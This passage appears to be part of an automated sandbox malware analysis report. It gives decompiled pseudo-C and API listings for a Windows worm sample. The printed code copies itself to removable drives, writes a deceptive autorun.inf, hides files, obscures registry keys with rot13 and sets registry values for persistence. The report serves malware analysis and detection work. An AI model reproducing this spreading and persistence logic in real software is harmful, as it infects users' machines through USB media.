				if(((_t44 & 0xffffff00 | _t44 == 0x00000042 | _t63 & 0xffffff00 | _t44 == 0x00000000) & 0x00000001) == 0) {
					_v616 = "tepbcl.qyy";
					_v620 =  &_v348;
					E10001F26();
					E10002209( &_v188, 0x96,  &_v348);
					_t50 = E1000271B( &_v188);
					_t65 = 0;
					if(_t50 != 0) {
						_t66 =  &_v508;
						while(1) {
							Sleep(0x2328);
							_t71 = _t70 - 4;
							_t62 = 0;
							do {
								_t52 = GetDriveTypeA( *(_t69 + _t62 * 4 - 0x258));
								_t71 = _t71 - 4;
								if(_t52 == 2) {
									_t68 =  &_v508;
									memset(_t68, 0, 0x96);
									_t54 =  *(_t69 + _t62 * 4 - 0x258);
									_v616 = _t54;
									_v620 = _t68;
									L100034B8();
									_v620 = _t68;
									L10003570();
									_t72 = _t71 - 4;
									if(_t54[(char*)( &_v509)] != 0x5c) {
										_v620 = 0x1000508e;
										 *_t72 = _t68;
										L10003578();
										_t72 = _t72 - 8;
									}
									_v620 = 0x100060a4;
									 *_t72 = _t66;
									L100034B8();
									 *_t72 = 1;
									SetErrorMode(??);
									_t73 = _t72 - 4;
									_v616 = 0;
									_v620 = _t66;
									 *_t73 =  &_v188;
									CopyFileA(??, ??, ??);
									_t74 = _t73 - 0xc;
									_v620 = 2;
									 *_t74 = _t66;
									SetFileAttributesA(??, ??);
									_t71 = _t74 - 8;
								}
								_t62 = 1 + _t62;
							} while (_t62 <= 0x17);
						}
					}
				}
				return _t65;
			}

0x10002cef
0x10002d14
0x10002d2a
0x10002d40
0x10002d4c
0x10002d5e
0x10002d65
0x10002d6b
0x10002d79
0x10002d7c
0x10002d96
0x10002d9e
0x10002da3
0x10002daa
0x10002db0
0x10002db6
0x10002dbd
0x10002dc2
0x10002dc5
0x10002dca
0x10002dd4
0x10002dd9
0x10002ddf
0x10002de5
0x10002dfe
0x10002e03
0x10002e0a
0x10002e0e
0x10002e11
0x10002e16
0x10002e19
0x10002e1e
0x10002e29
0x10002e2b
0x10002e33
0x10002e36
0x10002e3b
0x10002e3b
0x10002e3e
0x10002e46
0x10002e49
0x10002e4e
0x10002e55
0x10002e5a
0x10002e5d
0x10002e65
0x10002e6f
0x10002e72
0x10002e77
0x10002e7a
0x10002e82
0x10002e85
0x10002e8a
0x10002e8a
0x10002e8d
0x10002e8e
0x10002e97
0x10002db6
0x10002daa
0x10002ea5

APIs

memcpy.MSVCRT ref: 10002D14
rot13.SHERVANS ref: 10002D2A

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

rot13.SHERVANS ref: 10002D40
get_dword.SHERVANS ref: 10002D4C

Part of subcall function 10002B9C: RegOpenKeyExA.ADVAPI32 ref: 10002BD6
Part of subcall function 10002B9C: RegOpenKeyExA.ADVAPI32 ref: 10002C04
Part of subcall function 10002B9C: RegQueryValueExA.ADVAPI32 ref: 10002C3F
Part of subcall function 10002B9C: RegCloseKey.ADVAPI32 ref: 10002C4F

rot13.SHERVANS ref: 10002D7C
add_system_direcroty.SHERVANS ref: 10002D96

Part of subcall function 10002209: memset.MSVCRT ref: 10002226
Part of subcall function 10002209: GetSystemDirectoryA.KERNEL32 ref: 10002232
Part of subcall function 10002209: lstrlen.KERNEL32 ref: 1000223D
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002257
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002269

filetyt.SHERVANS ref: 10002D9E

Part of subcall function 1000271B: fopen.MSVCRT ref: 1000272F
Part of subcall function 1000271B: fclose.MSVCRT ref: 10002740

Sleep.KERNEL32 ref: 10002DBD
GetDriveTypeA.KERNEL32 ref: 10002DD4
memset.MSVCRT ref: 10002DFE
_mbscat.MSVCRT ref: 10002E11
lstrlen.KERNEL32 ref: 10002E19
lstrcat.KERNEL32 ref: 10002E36
_mbscat.MSVCRT ref: 10002E49
SetErrorMode.KERNEL32 ref: 10002E55
CopyFileA.KERNEL32 ref: 10002E72
SetFileAttributesA.KERNEL32 ref: 10002E85

Strings

Q, xrefs: 10002D6B
`, xrefs: 10002D01

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcatrot13$FileOpen_mbscatlstrlenmemset$AttributesCloseCopyDirectoryDriveErrorModeQuerySleepSystemTypeValueadd_system_direcrotyfclosefiletytfopenget_dwordmemcpyrot13c
String ID: `$Q
API String ID: 1565552690-2154725097
Opcode ID: 1c32a01f9ab9ac1369742c2c789e237e671a51ecb16a1e113751e94dc0ba8593
Instruction ID: 3c753f9fe4a5df1170e053b3461346bedc4f7c817325d12f88918a50ebfe7554
Opcode Fuzzy Hash: 1c32a01f9ab9ac1369742c2c789e237e671a51ecb16a1e113751e94dc0ba8593
Instruction Fuzzy Hash: D84182B4408B459BE711EF24D98539FBBF4EF80381F41882DE8C857209D779A988CB83

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0E0 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E0040B0E0(void* __eax) {
				void* _v16;
				short _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				char _v108;
				short _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				char _v188;
				int _v192;
				void* __ebx;
				char _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				void* _t65;
				intOrPtr _t71;
				intOrPtr _t73;
				signed char _t75;
				char _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr _t82;
				intOrPtr _t83;
				intOrPtr _t84;
				intOrPtr _t85;
				signed short _t88;
				void* _t90;
				void* _t92;
				signed int _t93;
				signed int _t94;
				void* _t96;
				signed int _t101;
				intOrPtr _t103;
				intOrPtr _t104;
				void* _t105;
				signed int _t106;
				signed int _t109;
				signed int _t110;
				signed int* _t111;
				intOrPtr* _t112;
				intOrPtr* _t114;
				signed int* _t115;

				_t94 =  *0x418284;
				if(_t94 == 0) {
					_v108 = 0x41414141;
					_t51 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
					_t110 =  &_v108;
					_v104 = 0x41414141;
					_v100 = 0x41414141;
					_v76 = _t51;
					_t52 = M004131B4; // 0x57434347
					_v96 = 0x41414141;
					_v92 = 0x41414141;
					_v72 = _t52;
					_t53 = M004131B8; // 0x452d3233
					_v88 = 0x41414141;
					_v84 = 0x41414141;
					_v68 = _t53;
					_t54 = M004131BC; // 0x2d322d48
					_v80 = 0x41414141;
					_v64 = _t54;
					_t55 = M004131C0; // 0x4a4c4a53
					_v60 = _t55;
					_t56 = M004131C4; // 0x4854472d
					_v56 = _t56;
					_t57 = M004131C8; // 0x494d2d52
					_v52 = _t57;
					_t58 =  *0x4131cc; // 0x3357474e
					_v48 = _t58;
					_v44 =  *0x4131d0 & 0x0000ffff;
					 *_t111 = _t110;
					_t61 = FindAtomA(??) & 0x0000ffff;
					_t112 = _t111 - 4;
					_v192 = _t61;
					if(_t61 != 0) {
						L10:
						_t93 = E0040B040(_t61, _t92);
					} else {
						 *_t112 = 0x3c;
						_t65 = malloc(??);
						_t93 = _t65;
						if(_t65 == 0) {
							abort();
							0;
							0;
							_push(_t94);
							_t96 = _t112 + 8;
							while(_t65 >= 0x1000) {
								_t96 = _t96 - 0x1000;
								_t65 = _t65 - 0x1000;
							}
							goto __eax;
						}
						asm("cld");
						memset(_t65, _v192, 0xf << 2);
						_t114 = _t112 + 0xc;
						 *((intOrPtr*)(_t93 + 4)) = L0040C278;
						_t101 = 1;
						 *((intOrPtr*)(_t93 + 8)) = E0040B030;
						 *_t93 = 0x3c;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x14)) =  *0x418254;
						_t71 =  *0x40d4f0; // 0x0
						 *((intOrPtr*)(_t93 + 0x18)) =  *0x418258;
						_t103 =  *0x40d4f4; // 0xffffffff
						 *((intOrPtr*)(_t93 + 0x1c)) = _t71;
						 *((intOrPtr*)(_t93 + 0x20)) = _t103;
						 *((intOrPtr*)(_t93 + 0x30)) = 0xffffffff;
						 *((intOrPtr*)(_t93 + 0x2c)) =  *0x418264;
						_t104 =  *0x40d4fc; // 0xffffffff
						_t73 =  *0x40d4f8; // 0x0
						 *((intOrPtr*)(_t93 + 0x38)) = _t104;
						_t105 = 0x1f;
						 *((intOrPtr*)(_t93 + 0x34)) = _t73;
						do {
							_t75 = _t93 & _t101;
							asm("sbb eax, eax");
							_t101 = _t101 + _t101;
							 *((char*)(_t105 +  &_v188)) = (_t75 & 0x00000020) + 0x41;
							_t105 = _t105 - 1;
						} while (_t105 >= 0);
						_t78 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
						_v156 = _t78;
						_t79 = M004131B4; // 0x57434347
						_v152 = _t79;
						_t80 = M004131B8; // 0x452d3233
						_v148 = _t80;
						_t81 = M004131BC; // 0x2d322d48
						_v144 = _t81;
						_t82 = M004131C0; // 0x4a4c4a53
						_v140 = _t82;
						_t83 = M004131C4; // 0x4854472d
						_v136 = _t83;
						_t84 = M004131C8; // 0x494d2d52
						_v132 = _t84;
						_t85 =  *0x4131cc; // 0x3357474e
						_v128 = _t85;
						_v124 =  *0x4131d0 & 0x0000ffff;
						 *_t114 =  &_v188; // executed
						_t88 = AddAtomA(??); // executed
						_t109 = _t88 & 0x0000ffff;
						_t115 = _t114 - 4;
						if(_t109 != 0) {
							_t90 = E0040B040(_t109, _t93);
							_t106 = _t109;
							if(_t90 != _t93) {
								goto L7;
							} else {
								goto L8;
							}
							goto L19;
						} else {
							L7:
							_t106 = 0;
						}
						L8:
						if(_t106 == 0) {
							 *_t115 = _t93;
							L0040C1C8();
							 *_t115 = _t110;
							_t61 = FindAtomA(??) & 0x0000ffff;
							goto L10;
						}
					}
					 *0x418284 = _t93;
					_t46 = _t93 + 4; // 0x4
					 *0x418274 = _t46;
					_t47 = _t93 + 8; // 0x8
					_t64 = _t47;
					 *0x418294 = _t64;
					return _t64;
				} else {
					return __eax;
				}
				L19:
			}

0x0040b0ec
0x0040b0f4
0x0040b0fe
0x0040b105
0x0040b10a
0x0040b10d
0x0040b114
0x0040b11b
0x0040b11e
0x0040b123
0x0040b12a
0x0040b131
0x0040b134
0x0040b139
0x0040b140
0x0040b147
0x0040b14a
0x0040b14f
0x0040b156
0x0040b159
0x0040b15e
0x0040b161
0x0040b166
0x0040b169
0x0040b16e
0x0040b171
0x0040b176
0x0040b180
0x0040b184
0x0040b18d
0x0040b190
0x0040b195
0x0040b19b
0x0040b2dc
0x0040b2e1
0x0040b1a1
0x0040b1a1
0x0040b1a8
0x0040b1af
0x0040b1b1
0x0040b310
0x0040b31b
0x0040b31f
0x0040b320
0x0040b323
0x0040b326
0x0040b32d
0x0040b336
0x0040b336
0x0040b34b
0x0040b34b
0x0040b1b7
0x0040b1c5
0x0040b1c5
0x0040b1c7
0x0040b1ce
0x0040b1d3
0x0040b1df
0x0040b1eb
0x0040b1f2
0x0040b1f5
0x0040b1fa
0x0040b1fd
0x0040b203
0x0040b20b
0x0040b20e
0x0040b215
0x0040b218
0x0040b21e
0x0040b223
0x0040b226
0x0040b22b
0x0040b230
0x0040b232
0x0040b237
0x0040b23b
0x0040b23f
0x0040b246
0x0040b246
0x0040b249
0x0040b24e
0x0040b254
0x0040b259
0x0040b25f
0x0040b264
0x0040b26a
0x0040b26f
0x0040b275
0x0040b27a
0x0040b280
0x0040b285
0x0040b28b
0x0040b290
0x0040b293
0x0040b298
0x0040b2a2
0x0040b2ac
0x0040b2af
0x0040b2b5
0x0040b2b8
0x0040b2bd
0x0040b303
0x0040b30a
0x0040b30c
0x00000000
0x0040b30e
0x00000000
0x0040b30e
0x00000000
0x0040b2bf
0x0040b2bf
0x0040b2bf
0x0040b2bf
0x0040b2c1
0x0040b2c3
0x0040b2c5
0x0040b2c8
0x0040b2cd
0x0040b2d9
0x00000000
0x0040b2d9
0x0040b2c3
0x0040b2e3
0x0040b2e9
0x0040b2ec
0x0040b2f1
0x0040b2f1
0x0040b2f4
0x0040b300
0x0040b0f6
0x0040b0fd
0x0040b0fd
0x00000000

APIs

FindAtomA.KERNEL32 ref: 0040B187
malloc.MSVCRT ref: 0040B1A8
AddAtomA.KERNEL32 ref: 0040B2AF

Strings

-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32, xrefs: 0040B105, 0040B249
AAAA, xrefs: 0040B0FE
AAAA, xrefs: 0040B123
AAAA, xrefs: 0040B139
AAAA, xrefs: 0040B14F
AAAA, xrefs: 0040B12A
AAAA, xrefs: 0040B140
AAAA, xrefs: 0040B10D
AAAA, xrefs: 0040B114

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Atom$Findmalloc
String ID: -LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA
API String ID: 822928543-4229226183
Opcode ID: b996283103914c8c547a0f5b047768b3d30837a48cc31e111859e5c4cfbbb589
Instruction ID: 5c8a408c4dcb306db70316dfdce650025cae950a5a82f7704b97cd34435e599e
Opcode Fuzzy Hash: b996283103914c8c547a0f5b047768b3d30837a48cc31e111859e5c4cfbbb589
Instruction Fuzzy Hash: DC6107B4A00218DFDB50CFA9E9C4699BBF0FB48311F1481BAD818EB395E7349945CF49

Uniqueness

Uniqueness Score: -1.00%

Function 10002806 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 98
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E10002806(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v188;
				char _v316;
				char _v364;
				char _v572;
				long _v576;
				void* _v588;
				void* _v592;
				void* _v596;
				void* _v600;
				void* _v604;
				void* _v608;
				void* _v612;
				char* _v616;
				void* _t46;
				int _t50;
				signed int _t52;
				void* _t63;
				void* _t64;
				void* _t66;
				signed int _t73;
				CHAR* _t76;
				void* _t82;
				void** _t83;

				_t73 = __edx;
				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_v616 = "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\ihyaiby32\\Irefvba";
				_t63 =  &_v316;
				 *_t83 = _t63;
				E10001F26();
				_v608 = 0x14;
				_v612 = 0x100060a4;
				_v616 = "namecp";
				 *_t83 = _t63; // executed
				_t46 = E10001F57(_t63); // executed
				if(_t46 == 0) {
					 *_t83 = 0x100060a4;
					E100024A2();
					asm("cld");
					asm("repne scasb");
					 *0x100060A3 = 0x6578652e;
					 *0x10BB3C54 = 0;
					_v612 = 0x100060a4;
					_v616 = "namecp";
					 *_t83 = _t63; // executed
					E1000274E(); // executed
				}
				_v616 = "fngbeanf.qyy";
				_t64 =  &_v364;
				 *_t83 = _t64;
				E10001F26();
				_v612 = _t64;
				_v616 = 0x96;
				 *_t83 =  &_v188;
				E10002209();
				_t76 =  &_v188;
				 *_t83 = _t76; // executed
				_t50 = E1000271B(); // executed
				if(_t50 == 0) {
					_v608 = 0x100060a4;
					_v612 = 0x100060a4;
					_v616 = "[autorun]\r\nshellexecute=%s\r\nicon=%%SystemRoot%%\\system32\\SHELL32.dll,4\r\naction=Open folder to view files\r\nshell\\default=Open\r\nshell\\default\\command=%s\r\nshell=default";
					_t82 =  &_v572;
					 *_t83 = _t82;
					wsprintfA(??, ??);
					_t52 = CreateFileA(_t76, 0x40000000, 0, 0, 2, 0x80, 0); // executed
					_t66 = _t52;
					_t50 = _t52 & 0xffffff00 | _t52 == 0xffffffff | _t73 & 0xffffff00 | _t66 == 0x00000000;
					if((_t50 & 0x00000001) == 0) {
						asm("cld");
						asm("repne scasb");
						WriteFile(_t66, _t82, 0xbadbac,  &_v576, 0); // executed
						CloseHandle(_t66);
						_t50 = SetFileAttributesA( &_v188, 2); // executed
					}
				}
				return _t50;
			}

0x10002806
0x1000280f
0x10002812
0x10002815
0x10002818
0x10002820
0x10002826
0x10002829
0x1000282e
0x10002836
0x1000283e
0x10002846
0x10002849
0x10002850
0x10002852
0x10002859
0x10002863
0x1000286b
0x10002870
0x1000287a
0x10002881
0x10002889
0x10002891
0x10002894
0x10002894
0x10002899
0x100028a1
0x100028a7
0x100028aa
0x100028af
0x100028b3
0x100028c1
0x100028c4
0x100028c9
0x100028cf
0x100028d2
0x100028d9
0x100028df
0x100028e7
0x100028ef
0x100028f7
0x100028fd
0x10002900
0x10002938
0x10002940
0x1000294d
0x10002951
0x10002953
0x1000295d
0x1000297f
0x1000298a
0x100029a3
0x100029a8
0x10002951
0x100029b7

APIs

rot13.SHERVANS ref: 10002829

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

Get_Reg_SZ.SHERVANS ref: 10002849

Part of subcall function 10001F57: RegOpenKeyExA.ADVAPI32 ref: 10001F90
Part of subcall function 10001F57: RegOpenKeyExA.ADVAPI32 ref: 10001FBE
Part of subcall function 10001F57: RegQueryValueExA.ADVAPI32 ref: 10001FF9
Part of subcall function 10001F57: RegCloseKey.ADVAPI32 ref: 10002009

sss_rans.SHERVANS ref: 10002859

Part of subcall function 100024A2: GetLocalTime.KERNEL32 ref: 100024F9
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 10002501
Part of subcall function 100024A2: srand.MSVCRT ref: 10002509
Part of subcall function 100024A2: rand.MSVCRT ref: 10002512
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 10002519
Part of subcall function 100024A2: srand.MSVCRT ref: 10002521
Part of subcall function 100024A2: rand.MSVCRT ref: 1000252D
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 10002546
Part of subcall function 100024A2: srand.MSVCRT ref: 1000254E
Part of subcall function 100024A2: rand.MSVCRT ref: 10002553
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 1000256E
Part of subcall function 100024A2: srand.MSVCRT ref: 10002576
Part of subcall function 100024A2: rand.MSVCRT ref: 1000257B
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 10002596
Part of subcall function 100024A2: srand.MSVCRT ref: 1000259E
Part of subcall function 100024A2: rand.MSVCRT ref: 100025A3
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 100025BE
Part of subcall function 100024A2: srand.MSVCRT ref: 100025C6
Part of subcall function 100024A2: rand.MSVCRT ref: 100025CB
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 100025E6
Part of subcall function 100024A2: srand.MSVCRT ref: 100025EE
Part of subcall function 100024A2: rand.MSVCRT ref: 100025F3
Part of subcall function 100024A2: GetLocalTime.KERNEL32 ref: 10002605
Part of subcall function 100024A2: _itoa.MSVCRT ref: 10002622
Part of subcall function 100024A2: rand.MSVCRT ref: 10002627

Write_REG_SZ.SHERVANS ref: 10002894

Part of subcall function 1000274E: RegOpenKeyExA.ADVAPI32 ref: 1000277E
Part of subcall function 1000274E: RegOpenKeyExA.ADVAPI32 ref: 100027AC
Part of subcall function 1000274E: lstrlen.KERNEL32 ref: 100027BB
Part of subcall function 1000274E: RegSetValueExA.ADVAPI32 ref: 100027E9
Part of subcall function 1000274E: RegCloseKey.ADVAPI32 ref: 100027F7

rot13.SHERVANS ref: 100028AA
add_system_direcroty.SHERVANS ref: 100028C4
filetyt.SHERVANS ref: 100028D2
wsprintfA.USER32 ref: 10002900
CreateFileA.KERNEL32 ref: 10002938
WriteFile.KERNEL32 ref: 1000297F
CloseHandle.KERNEL32 ref: 1000298A
SetFileAttributesA.KERNEL32 ref: 100029A3

Strings

$Q, xrefs: 100028EF
.exe, xrefs: 10002870

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: rand$CountTicksrand$Open$CloseFile$LocalTimeValuerot13$AttributesCreateGet_HandleQueryReg_WriteWrite__itoaadd_system_direcrotyfiletytlstrlenrot13csss_ranswsprintf
String ID: $Q$.exe
API String ID: 3664041036-2176984968
Opcode ID: 0ce48c875dcb9776822b96dc49c550283a6cc132f5ca885be87a417cd2aebe61
Instruction ID: 6304da7cd2528330332a3f5809cdbcaba00ebaed1578c57c0e7df17c251e0487
Opcode Fuzzy Hash: 0ce48c875dcb9776822b96dc49c550283a6cc132f5ca885be87a417cd2aebe61
Instruction Fuzzy Hash: CF417CB84087459BE700EF64C58535EBBF4EF84390F50896CE4995B386D7B99A88CF83

Uniqueness

Uniqueness Score: -1.00%

Function 10002A60 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 62
sleepprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rot13.SHERVANS ref: 10002A7C

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

add_system_direcroty.SHERVANS ref: 10002A96

Part of subcall function 10002209: memset.MSVCRT ref: 10002226
Part of subcall function 10002209: GetSystemDirectoryA.KERNEL32 ref: 10002232
Part of subcall function 10002209: lstrlen.KERNEL32 ref: 1000223D
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002257
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002269

rot13.SHERVANS ref: 10002AA6
add_system_direcroty.SHERVANS ref: 10002AC0
Sleep.KERNEL32 ref: 10002AD8
memset.MSVCRT ref: 10002AF3
CreateProcessA.KERNEL32 ref: 10002B5E
CopyFileA.KERNEL32 ref: 10002B83

Strings

D, xrefs: 10002AF8
D, xrefs: 10002AE0
Q, xrefs: 10002A9B

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: add_system_direcrotylstrcatmemsetrot13$CopyCreateDirectoryFileProcessSleepSystemlstrlenrot13c
String ID: D$D$Q
API String ID: 4246308054-1586927259
Opcode ID: 4417ff4c965ab6844378d03f831cbde25bd23026e74690a7ba24f13f1459eb7c
Instruction ID: 487f3aaf9e3853622048ce0787bcf5f21f0a9e41bca69b1cddbbffefc67ddced
Opcode Fuzzy Hash: 4417ff4c965ab6844378d03f831cbde25bd23026e74690a7ba24f13f1459eb7c
Instruction Fuzzy Hash: E731F9B48093159AE710DF20C98539FBBF4FF44794F40885DE88857245E7BAA688CF83

Uniqueness

Uniqueness Score: -1.00%

Function 004054F2 Relevance: 18.1, APIs: 12, Instructions: 107
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32 ref: 00405531

Part of subcall function 00404F82: GetLocalTime.KERNEL32 ref: 00404FD9
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00404FE1
Part of subcall function 00404F82: srand.MSVCRT ref: 00404FE9
Part of subcall function 00404F82: rand.MSVCRT ref: 00404FF2
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00404FF9
Part of subcall function 00404F82: srand.MSVCRT ref: 00405001
Part of subcall function 00404F82: rand.MSVCRT ref: 0040500D
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00405026
Part of subcall function 00404F82: srand.MSVCRT ref: 0040502E
Part of subcall function 00404F82: rand.MSVCRT ref: 00405033
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 0040504E
Part of subcall function 00404F82: srand.MSVCRT ref: 00405056
Part of subcall function 00404F82: rand.MSVCRT ref: 0040505B
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00405076
Part of subcall function 00404F82: srand.MSVCRT ref: 0040507E
Part of subcall function 00404F82: rand.MSVCRT ref: 00405083
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 0040509E
Part of subcall function 00404F82: srand.MSVCRT ref: 004050A6
Part of subcall function 00404F82: rand.MSVCRT ref: 004050AB
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 004050C6
Part of subcall function 00404F82: srand.MSVCRT ref: 004050CE
Part of subcall function 00404F82: rand.MSVCRT ref: 004050D3
Part of subcall function 00404F82: GetLocalTime.KERNEL32 ref: 004050E5
Part of subcall function 00404F82: _itoa.MSVCRT ref: 00405102
Part of subcall function 00404F82: rand.MSVCRT ref: 00405107

SetFilePointer.KERNEL32 ref: 00405574
WriteFile.KERNEL32 ref: 0040559A
Sleep.KERNEL32 ref: 004055A9

Part of subcall function 00404F82: rand.MSVCRT ref: 0040513A
Part of subcall function 00404F82: rand.MSVCRT ref: 00405168
Part of subcall function 00404F82: rand.MSVCRT ref: 00405196
Part of subcall function 00404F82: rand.MSVCRT ref: 004051C0
Part of subcall function 00404F82: rand.MSVCRT ref: 004051EF

SetFilePointer.KERNEL32 ref: 004055D4
WriteFile.KERNEL32 ref: 004055FA
Sleep.KERNEL32 ref: 00405609
SetFilePointer.KERNEL32 ref: 00405634
WriteFile.KERNEL32 ref: 0040565A
SetFilePointer.KERNEL32 ref: 0040567D
WriteFile.KERNEL32 ref: 004056AF
CloseHandle.KERNEL32 ref: 004056C0

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: rand$File$CountTicksrand$PointerWrite$LocalSleepTime$CloseCreateHandle_itoa
String ID:
API String ID: 3159365393-0
Opcode ID: de0745b6355624464966b3122e120d1e1f8d0595332210ddc19a5d1648e15264
Instruction ID: 8e21804255f859d75eeaefc39514b6d8a1434258e14ca154f06cca4555a00953
